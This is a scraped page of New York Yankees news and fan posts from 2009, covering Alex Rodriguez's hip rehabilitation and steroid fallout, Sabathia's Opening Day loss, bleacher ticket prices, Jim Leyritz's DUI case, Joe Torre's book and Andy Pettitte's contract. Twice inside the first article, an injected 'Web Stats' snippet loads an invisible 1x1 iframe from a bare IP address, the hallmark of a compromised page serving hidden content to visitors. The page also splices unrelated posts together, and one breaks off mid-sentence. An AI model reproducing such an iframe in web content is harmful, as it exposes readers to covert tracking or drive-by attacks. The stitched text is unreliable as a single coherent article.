Alex Rodriguez’s progress in rehabilitation after hip surgery is going so well that he could rejoin the New York Yankees by the end of April.

When Rodriguez underwent hip surgery March 9, the initial prognosis was for him to be!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — sidelined from six to nine weeks. That would have had him returning anywhere from the end of April to the middle of May. Yankees hitting coach Kevin Long told the New York Post that Rodriguez has begun to hit and feels 70%. Long speaks with the third baseman daily, the Post reported.

Citing an unnamed official with the team, the Post also said it’s possible Rodriguez could be back on the field by late!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — April if the Yankees were to support that.

The three-time American League most valuable player has been rehabilitating and working out in Colorado and eventually will move his workouts to the Yankees’ spring-training complex in Tampa, Fla.

So it was not exactly the humdinger of a debut the Yankees envisioned from their new $161 million meal ticket on Opening Day, and what is there to say now about Joe Girardi’s new era of good feelings?

Well, for one thing, welcome back to the American League, CC Sabathia, although the pitcher-less lineup wasn’t so much the problem Monday. The hefty lefty simply pitched badly. His fastball, barely topping 93, seemed to lack its usual crackle as his slider similarly lacked bite. As a result, when he needed a strikeout - which was often during his excruciating last inning when the Baltimore Orioles pushed across three runs to go up 6-1 without hitting the ball out of the infield - he couldn’t get it.

All that money and not even a strikeout? It was only the fifth time in 255 career starts that Sabathia had failed to record one and - what the hey - couldn’t even Darrell Rasner have done that?

“It was disappointing,” Sabathia said. “We score five runs and put us in position to win and I didn’t do my job.”

It was not, he insisted, from a lack of stuff, but rather a matter of location.

“I got behind too much,” Sabathia said. “I think I threw only four first-pitch strikes. I couldn’t throw my fastball for strikes and everything comes off my fastball.”

From the Yankees’ standpoint, they have to hope Sabathia simply hasn’t gotten all the spring training kinks out yet. You know, like last year, when he got off to a horrific start (1-4, 7.88 ERA) with the Cleveland Indians. It was suggested then that he might have been feeling the pressure of entering his free-agent walk year, although when he got traded to the Milwaukee Brewers and the National League he went 11-2 over the second half of the season and lowered his ERA from 3.83 to 1.65.

That was the pitcher the Yankees paid $161million for, and certainly not the one who struggled Monday with his command, his velocity and, seemingly at times, even his batterymate. During a laborious 19-pitch first inning, in which Sabathia survived a leadoff single to Brian Roberts, a walk to No.2 hitter Adam Jones and two wild pitches, he and Jorge Posada appeared to be crossed up on pitch selections.

Did somebody say bad omen? After a 24-10-1 spring - the Yankees’ best Grapefruit League winning percentage since the great 1961 team - Girardi had sufficient reason for feeling good about this Yankee team, with its new Rolls Royce-like fleet of starting pitchers and Mark Teixeira providing $180million worth of stellar defense at first base and steady, patient hitting.

But it was as if Sabathia’s pratfall had a spillover effect on just about everyone else. After the Yankees cut their deficit to 6-3 in the sixth, Xavier Nady got himself picked off third base on Derek Jeter’s two-out infield single, and then grounded into an inning-ending double play to blunt another potential tying rally in the seventh.

The final blow, however, was Cesar Izturis’ two-run homer off Phil Coke just over the left-field wall in the eighth. Johnny Damon backtracked to the wall and timed his leap, only to have a fan reach over and bump him as the ball landed in the seats. “I thought I had it,” Damon said. “I don’t know what happened. I was definitely interfered with but the umpires ruled the ball was in the seats. It seems like that was a place for instant replay, no?”

Apparently not. And after that came more deluge - two more runs off the Yankee bullpen, which was as awful as Sabathia.

Before the game, Girardi said the reason he sensed there was a good feeling in the clubhouse was “because there was such a bad feeling at the end of last season and we don’t want to repeat that experience.”

Maybe not. But Game One of 2009 seemed all too familiar to 2008, beginning with the starting pitching. This wasn’t what anyone envisioned.

Kristen Davis, a Manhattan call girl linked to former New York Governor Eliot Spitzer, claims she had a “professional” relationship with Alex Rodriguez.

Davis, who says she met A-Rod at a Philadelphia gym in 2005, told the New York Post that: “our paths have crossed both personally and professionally,” and that “there was a flirtation there.”

“I’m not going to deny there was a relationship there,” said Davis.

In an e-mail exchange provided to the Daily News by a former booker for Davis’ Wicked Models, Rodriguez purportedly told Davis on Nov. 17, 2006: “Thanks for setting me up with Samantha. She was gorgeous. But she is not you. When can I see you you are gorgeous…”

The exchange goes on:

Davis: “Hi Alex. You don’t want to see me. I’m no fun. lol. Just because your (sic) so sweet, here are some pics of me and I appreciate the compliments. Your (sic) a doll. Thanks, Kristin”

Rodriguez: “You have been playing hard to get for a year now, your (sic) killing me.”

Davis: “It’s not playing I am hard to get. Maybe you should try harder.”

Rodriguez: “Kristin, I definitely will and I love the pics. I put the one on my cell so I can look at you all the time. Alex.”

Davis: “You are too sweet. I’ll let you know when I get someone you like.”

Two former agency workers said A-Rod hired prostitutes more than a half-dozen times, often meeting them at the Four Seasons hotel on W. 57th St.

Yankee officials have told Alex Rodriguez that Yuri Sucart, believed to be the cousin who injected Major League Baseball’s biggest star with steroids, is no longer welcome at team facilities or hotels.

Baseball sources told the Daily News Thursday that the Yankees’ front office issued the ban after Rodriguez was seen jumping into an SUV driven by Sucart after Wednesday’s spring training opener against the Toronto Blue Jays in Dunedin, Fla.

Rodriguez did not protest the decision, after he was told that Sucart, who serves as the star’s driver and go-fer, would no longer be given access to clubhouses, training rooms and other team facilities.

He acknowledged that it was a problem, one source said.

During his Feb. 17 press conference at Steinbrenner Field, Rodriguez said a cousin had secured an over-the-counter, performance-enhancing drug he called boli in the Dominican Republic and injected him with it from 2001 to 2003. Rodriguez declined to name the cousin at the press conference, but he was later identified in media reports as Sucart.

Sports Illustrated reported earlier this month that Rodriguez tested positive for testosterone and Primobolan during MLB’s 2003 survey testing year. Primobolan is not available over the counter in the Dominican Republic and must be obtained from a doctor’s prescription or on the black market.

The Daily News reported last week that controversial trainer Angel Presinal also traveled with Rodriguez during the 2007 season, often sharing a hotel room with Sucart. Rodriguez won the American League’s MVP award that year.

The News reported that Rodriguez was careful not to be seen in public with Presinal, who was banned by Major League Baseball from big league clubhouses following a 2002 incident in Toronto linking him to a gym bag filled with steroids and syringes.

Rodriguez is expected to meet with MLB investigators Thursday or Friday in

The price of watching a fraction of Yankees games dropped to a fraction of its original cost yesterday, with obstructed-view bleacher seats abruptly falling from $12 per game to $5.

Lonn Trost, the team’s chief operating officer, made the announcement during an interview on WFAN. The ticket price applies to about 600 seats on either side of a sports bar that extends to the centerfield wall.

“Those seats are being sold at $5, not $12,” he said. “I think some seats may have gone out improperly invoiced. Those are going to be corrected, but those 600 seats are going to be $5.”

Trost was not asked about the timing or rationale for the change and did not return a call seeking further explanation.

In an interview with Newsday Monday, he said of the obstructed-view seats, “We had a choice of selling it to somebody or not. … For $12, it’s a choice of taking it or not.”

The seating chart on the Yankees’ Web site also indicated those seats cost $12.

Holders of $5 tickets will have access to other parts of the stadium. Trost told WFAN the tickets would be labeled as having obstructed views.

“When we built the sports bar we knew architecturally there is an architectural shadow,” he said. “And that means there are a group of seats that are in the bleachers that if you are sitting very close to either the rightfield or leftfield side of the sports bar, you may not see the opposite side.

“We knew that going in, and to that extent we pre-prepared to put televisions in the wall, as well as that big screen so you don’t miss anything.”

Trost also said the team will open its most expensive seats - of which only about 70 percent have been sold - to partial season plans. He suggested those tickets might have been priced lower if the process had been concluded after the worst of the economic downturn.

“We certainly would have considered the economy, and that’s why some of the seats, we recognize, haven’t been sold,” he said.

Trost said he believes in some cases companies or individuals that can afford premium seats have not purchased them for fear simply of being seen in them during the current economic malaise.

He said the Yankees have sold all but “parts of seven” suites out of 51, some of which will be sold on a “per diem” basis for companies that do not want full season suite plans

The big question surrounding Alex Rodriguez this spring and into the season promises to be how he will handle the negative reaction from the fans and media as he travels around the country. The fans today, with their various “A-Roid” taunts, didn’t seem to phase him much. In fact, they only seem to make him a little angry.

And you know what happens when Rodriguez gets angry.

He hits a two run laser beam to left field off of Jays reliever Ricky Romero that seemed to be still on the rise when it cleared the fence.

“It was just a fastball I left up and he’s a great hitter,” Romero said. “He’s going to hit mistakes and I made a mistake. I was just trying to be aggressive.”

A-Rod got a mixed reaction from the crowd. Not surprising since the crowd was largely Yankee fans and the folks here in Dunedin can hardly be described as mean-spirited. Still, there were some jeers and heckles, surprisingly, the loudest coming from a fan in a Paul O’Neill jersey.

But none of that mattered as the Yankees spoiled the Blue Jay’s Grapefruit League opener 6-1 on a beautiful early spring day along Florida’s Gulf Coast.

“This is what I do. I know how to play baseball,” Rodriguez said. “I just hope that the start of something really special for this year. I feel really good about our team.”

Centerfield prospect Brett Gardner led off the game with a homerun off of the third pitch of the game and Todd Linden and Juan Miranda each collected an RBI single in the victory.

None of the runs were more emphatic than the blast by Rodriguez.

“We weren’t quite sure what it would be like today. It was a mixture of both,” Yankees skipper Joe Girardi said. “We talked a little bit about today. Told him, we’re with you the whole way. We’re going to be here no matter what happens. I can’t pretend to know what’s like to be in Alex’s shoes. I’m sure some places will be easier than others. Some will be harsher than others. When it’s 40-, 50,000 fans, the volume is probably going to be a little bit louder one way or the other. ”

Authorities say a system in Leyritz’s car that he has to blow in before starting it, and periodically while driving, recorded that he consumed alcohol four times since the device was installed in April 2008. He is not allowed to drink alcohol under the terms of his release.

Leyritz’s trial is tentatively set for May 25. If convicted, he faces up to 15 years in prison. He has pleaded not guilty.

His attorney, J. David Bogenschutz, said Friday his client’s arrest stems from a misunderstanding. He filed a motion Friday afternoon seeking to have Leyritz released pending an emergency hearing.

Bogenschutz said that as part of Leyritz’s pretrial release, he initially had to submit to multiple daily alcohol tests on a home device. That order was changed in April 2008, allowing Leyritz to drive but only if the breath device was installed in his vehicle.

At that point, according to Bogenschutz, officers charged with monitoring Leyritz told him they would no longer be supervising him.

“So he believed at that point, because he now had a machine in his car, it was OK to drink, but that he’s just not going to be able to drink and drive because the car is going to turn off,” Bogenschutz said.

Bogenschutz said Leyritz has used the vehicle breath device some 4,000 times with only four registered alcohol incidents. He said that since the latest incident in January, authorities have made it clear to Leyritz that he is still not allowed to consume any alcohol — and Leyritz hasn’t.

“He really shouldn’t be held responsible,” Bogenschutz said. “It’s a little disturbing.”

Ron Ishoy, a spokesman for prosecutors, acknowledged that officers in charge of supervising Leyritz assumed his monitoring had concluded in April when the device was installed in his vehicle.

“That assumption was incorrect,” Ishoy said Friday. “It is the state’s position that Mr. Leyritz was to remain on pretrial release and not consume alcohol.”

Authorities said Leyritz was drunk on Dec. 28, 2007, when he ran a red light in his sport utility vehicle in Fort Lauderdale and crashed into another car, killing 30-year-old Fredia Ann Veitch.

Authorities said toxicology reports indicated that Leyritz’s blood-alcohol level three hours after the crash was 0.14 percent. The reports also indicated that Veitch, too, was drunk, with a blood-alcohol level of 0.18. Florida’s legal limit is 0.08.

The 45-year-old played for six major league teams and last was in the majors in 2000, ending his 11-year career. In 1996, he homered for the New York Yankees in Game 4 of the World Series against Atlanta. The homer made it 6-6, and the Yankees won in 10 innings. New York took the series in six games for its first title in 18 years.

Brian Bruney was injured most of last season, but when he saw late season action, he had pretty good numbers out of the bullpen. Bruney finished 3-0 with a 1.83 ERA and 33 strikeouts in 34 1/3 innings.

Many Yankee fans over the last 12 years, see Joe Torre as the lovable old man, who cares so much about his players, and can do no wrong. People seem to forget that a guy making millions per year to do practically nothing, will always have an ego, no matter how much he attempts to hide it…and we should never feel bad for a guy making that kind of money.

Less than 2 years after leaving the Yankees, Joe Torre has released a new book called “The Yankee Years”, in which he airs alot of dirty laundry towards his ex-team. From calling, and claiming teammates called Alex Rodriguez “A-Fraud”, to A-Rod having an obsession with Derek Jeter, to claiming that Brian Cashman forced him out of the Yankees organization… Joe Torre said alot of controversial items.

The part in which Torre went wrong in doing such a book, is when it comes to his “legacy”. When Joe Torre left the Yankees, it was made out to seem that the Yankees were the “bad guys”, and that “poor Joe” was thrown out the door. Yankee fans went as far as to cheer for the Dodgers last year in the playoffs, to see Joe Torre succeed.

Now… Joe Torre has ruined his public image, and will quickly see a turn of the Yankees fans. Joe Torre does not need more money, and is it worth the backlash for the small amount of money he would be paid for a book??

What it comes down to..is the “spotlight”. Some guys just can’t help but keep themselves in the spotlight. From 2004 playoff collapse, to his final year as the Yankee skipper… he was horrible. It seems very obvious that once Don Zimmer left his side as bench coach…Joe was clueless.
Despite being a horrible manager in that time, Torre’s character was so lovable to the Yankee fans, that they would make excuses and look past all that.

Now that Torre has made comments , a year after leaving the team, it makde him look petty. If all this was “drama” was going on in the clubhouse while he was manager..doe she not realize that it reflects badly on HIM?? It’s the managers job to stop problems in the clubhouse… not to let it happen and then talk about it 2 years later.

In conclusion, Joe Torre made a major mistake with this book. He could have gone down as one of the Yankees favorite managers, and been applauded anytime he came back to the stadium…. but instead, he now looks like a bitter old man, who is greedy for money and the spotlight!!

I knew it would happen sooner or later, even when it wasn’t looking probable. The Yankees finally signed Andy Pettitte to a 1 year, $5.5 million contract, which is laced with incentives that could push the final number to $12 million.

“There was no other team ever brought into the equation,” Pettitte said. “My mind never changed. I wanted to come back to the Yankees, and in my mind, I was going to be back.”

“Andy said every step of the way that he wanted to be a Yankee,” Cashman said. “I remember him telling me at one point in this process, ‘Cash, if you guys want me back, we will find a way to get this thing done.’ He honored that.”

“I guess it does take a shot at your pride a little bit,” Pettitte said. “But when you put all that aside, I wanted to play for the New York Yankees. That was the bottom line. I wanted to be there and play in that new stadium.”

The Yankees will now go into the 2009 season with arguably the best starting pitching staff in baseball. Pettitte will most likely be the #4 starter when the rotation is announced. Most say that Burnett will be a #2 man, with Wang the #3…. but I think that Wang is a much better pitcher than Burnett and should ultimately be the #2.

With the addition of Andy Pettitte, it now leaves questions as ot where Phil Hughes will wind up in all this. Most likely he will start the season in the minors, because I can’t see them using him as a bullpen option. If it were me, I would have Hughes #5, and send Joba back to the bullpen.

My Projected Rotation
1- Sabathia
2- Wang
3- Burnett
4- Pettite
5- Chamberlain